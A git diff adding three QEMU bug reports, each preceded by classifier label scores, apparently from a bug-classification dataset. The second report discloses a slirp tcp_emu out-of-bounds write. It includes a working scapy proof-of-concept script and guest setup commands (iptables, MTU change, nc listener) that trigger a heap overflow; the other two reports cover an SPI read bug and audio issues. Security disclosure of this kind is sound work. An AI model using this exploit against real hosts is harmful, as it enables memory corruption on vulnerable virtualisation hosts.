3 files changed, 234 insertions, 0 deletions
diff --git a/results/classifier/118/none/1858 b/results/classifier/118/none/1858
new file mode 100644
index 00000000..acfbadfc
--- /dev/null
+++ b/results/classifier/118/none/1858
@@ -0,0 +1,40 @@
+files: 0.749
+device: 0.725
+architecture: 0.598
+graphic: 0.551
+performance: 0.528
+register: 0.467
+socket: 0.464
+network: 0.448
+semantic: 0.435
+peripherals: 0.390
+x86: 0.329
+i386: 0.317
+mistranslation: 0.299
+risc-v: 0.282
+permissions: 0.282
+ppc: 0.256
+PID: 0.254
+kernel: 0.252
+VMM: 0.249
+debug: 0.248
+hypervisor: 0.247
+user-level: 0.226
+TCG: 0.223
+boot: 0.197
+vnc: 0.161
+arm: 0.106
+assembly: 0.074
+KVM: 0.058
+virtual: 0.057
+
+Block device read operation misses one byte(8 bit) per chip per SPI transaction
+Description of problem:
+Block device Micron m25qu02gcbb (hw/block/m25p80.c) is emulated by the two -drive files. For block device read operation, device driver from Windriver vxWorks issues SPI commands. For read SPI command( 0x6b ) from device driver, there is a data length to be read is specified. For each SPI command call, m25p80_transfer8(SSISlave *ss, uint32_t tx) from hw/block/m25p80.c is called and read byte is returned to guest OS. It is observed that for more than one sequential SPI read commmands, first byte from the next read block is not returned back to guest OS. Traces within m25p80.c shows that all the data bytes are read however, first byte from the next read block is missing at guest OS.
+ 
+drive file content: 0x0 0x1 0x2 0x3 0x4 0x5 0x6 0x7 0x8
+SPI read command is set to read 4 bytes in one transaction, two transactions are needed from guest OS to read the entire  data.
+trace_m25p80_read_byte() shows that all bytes are read at m25p80_transfer8() call.
+At guest OS following is received: 0x0 0x1 0x2 0x3 0x5 0x6 0x7 0x8 (Missing first byte of the second transaction, 0x4)
+Additional information:
+Windriver is a proprietary OS so I can't attach the .bin files. However, any other guest OS should be able to demostrate this behavior. guest OS device driver is reading without errors on an actual Micron QSPI device.
diff --git a/results/classifier/118/none/1858415 b/results/classifier/118/none/1858415
new file mode 100644
index 00000000..1ca45809
--- /dev/null
+++ b/results/classifier/118/none/1858415
@@ -0,0 +1,125 @@
+virtual: 0.743
+register: 0.708
+network: 0.686
+assembly: 0.682
+debug: 0.665
+architecture: 0.662
+device: 0.654
+socket: 0.653
+graphic: 0.650
+arm: 0.648
+peripherals: 0.641
+TCG: 0.635
+permissions: 0.625
+performance: 0.623
+files: 0.619
+hypervisor: 0.616
+mistranslation: 0.612
+ppc: 0.612
+PID: 0.607
+semantic: 0.596
+boot: 0.592
+kernel: 0.589
+vnc: 0.580
+risc-v: 0.577
+user-level: 0.565
+VMM: 0.542
+KVM: 0.523
+i386: 0.462
+x86: 0.449
+
+in tcp_emu function has OOB bug
+
+qemu version: 4.1.0 
+
+```c
+int tcp_emu(struct socket *so, struct mbuf *m){
+............
+case EMU_REALAUDIO:
+............
+    while (bptr < m->m_data + m->m_len) {
+        case 6:
+............
+            lport = (((uint8_t *)bptr)[0] << 8) + ((uint8_t *)bptr)[1];
+............               
+            *(uint8_t *)bptr++ = (p >> 8) & 0xff;
+            *(uint8_t *)bptr = p & 0xff;
+............
+    }
+............
+............
+}
+```
+
+bptr)[1] and  bptr++ ,may make bptr ==  m->m_data + m->m_len,and cause OOB（out of bounds.）
+
+Thanks for your bug report. For future security critical bugs, please follow the steps described on https://wiki.qemu.org/SecurityProcess instead.
+For this one, I've forwarded the information to the libslirp project, since the "slirp" code has been moved to a separate project which is no longer part of the QEMU project. They've included a fix here:
+https://gitlab.freedesktop.org/slirp/libslirp/commit/2655fffed7a9e765bcb4701dd876e9dab975f289
+
+Thanks
+
+poc:
+```python
+#!/usr/bin/python3
+
+import os
+import time
+from scapy.all import *
+
+target_ip = '10.0.2.2'
+target_port = 7070
+
+def start_tcp(target_ip,target_port,str_to_send):
+    global sport,s_seq,d_seq
+    try:
+        ans = sr1(IP(dst=target_ip)/TCP(dport=target_port,sport=RandShort(),seq=RandInt(),flags=0x2),verbose=False)
+        sport = ans[TCP].dport
+        s_seq = ans[TCP].ack
+        d_seq = ans[TCP].seq+1
+        
+        send(IP(dst=target_ip)/TCP(dport=target_port,sport=sport,ack=d_seq,seq=s_seq,flags=0x10),verbose=False)
+
+        send(IP(dst=target_ip)/TCP(dport=target_port,sport=sport,ack=d_seq,seq=s_seq,flags=0x18)/str_to_send,verbose=False)
+        print(ans[TCP])
+    except Exception as e:
+        print(e)
+
+if __name__ == '__main__':
+    buf = ['R' for n in range(2200)];
+    buf_len = len(buf);
+    
+    buf[buf_len-10]= chr(0x50)
+    buf[buf_len-9] = chr(0x4e)
+    buf[buf_len-8] = chr(0x41)
+    buf[buf_len-7] = chr(0x00)
+    buf[buf_len-1] = chr(27)
+    start_tcp(target_ip,target_port,"".join(buf))
+```
+
+In host OS run:
+
+```shell
+nc -l -p 7070 
+```
+
+In guest OS run:
+
+```shell
+# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.0.2.2 -j DROP # Because we will use Python to construct tcp packets, this will prevent the kernel from sending rst packets.
+# ip link set ens3 mtu 3000 # When the sending size is larger than the default mtu packet, the slipr_input function allocates space from the heap, and then we can overflow one byte of the heap space
+# ./poc
+```
+
+This will cause a byte heap overflow.
+
+Excuse me, can I get a CVE number?
+
+If you need a CVE number, please send a mail with the bug description to the people listed on https://wiki.qemu.org/SecurityProcess
+
+thank you very much！
+
+This should be fixed with QEMU v5.0.
+
+libslirp fix included in commit 7769c23774d1, released in QEMU-v5.0.0
+
diff --git a/results/classifier/118/none/1858488 b/results/classifier/118/none/1858488
new file mode 100644
index 00000000..a1675dc3
--- /dev/null
+++ b/results/classifier/118/none/1858488
@@ -0,0 +1,69 @@
+performance: 0.774
+files: 0.735
+device: 0.711
+graphic: 0.697
+x86: 0.691
+architecture: 0.666
+semantic: 0.662
+i386: 0.638
+peripherals: 0.631
+PID: 0.588
+user-level: 0.568
+ppc: 0.500
+KVM: 0.499
+kernel: 0.489
+socket: 0.449
+permissions: 0.439
+boot: 0.437
+register: 0.420
+virtual: 0.420
+mistranslation: 0.401
+vnc: 0.373
+debug: 0.345
+risc-v: 0.343
+network: 0.316
+arm: 0.279
+hypervisor: 0.266
+VMM: 0.251
+assembly: 0.191
+TCG: 0.188
+
+qemu git && 4.2:  timed audio issues with sb16,  gus not working?
+
+
+I have built [both] current git, and 4.2.0, there are issues with audio/soundhw for both.
+
+Specifics:
+
+Linux nullrig 5.3.0-24-generic #26-Ubuntu SMP Thu Nov 14 01:33:18 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
+
+Out of source build, successful for both:
+
+../configure --prefix=/opt/qemu --target-list=i386-softmmu,mips64el-softmmu ---enable-sdl --enable-sdl-image --enable-lzo --enable-bzip2 --enable-avx2 --enable-kvm --enable-membarrier --enable-plugin
+
+Call:
+
+./qemu -machine pc,accel=kvm,usb=off -cpu pentium -m 64 -rtc base=localtime -parallel none -soundhw sb16,adlib,pcspk -device cirrus-vga,bus=pci.0 -drive id=disk1,file=doom.cow,format=qcow2,if=virtio -audiodev pa,id=pa 
+
+Audio for sb16 sounds ok,  however if i switch to a timer based audio: -audiodev wav
+
+The output is wrong..  I had assumed it was all timer based audio, however it seems to be limited to sb16.
+
+So I then tried the next popular/compatible audio device for dos games:  gravis ultrasound [gus].
+
+I get no output at all for it.
+I have tried more than one piece of software,  DOOM shareware is any easy example.
+
+I realize there are better solutions for playing DOS games, however I am interested in snapshot support which many of them lack.
+
+I am willing to put the work into fixing it myself if need be,  however i'm not very familiar with the audio backend.   Specifically, it is already mixed into a single buffer,  if 'adlib' driver is already working: (audio_pcm_ops.write() output is correct on timer based output) I failed to see how it affects emulation of the sound blaster.
+
+./qemu is a symlink to qemu/build/i386-softmmu/qemu-system-i386
+
+It seems this might be related to buffer/sample size,  spice works and uses timed audio with a larger buffer. 
+GUS I have not gotten to work.
+
+
+Fixed here:
+https://git.qemu.org/?p=qemu.git;a=commitdiff;h=fdc8c5f4717f
+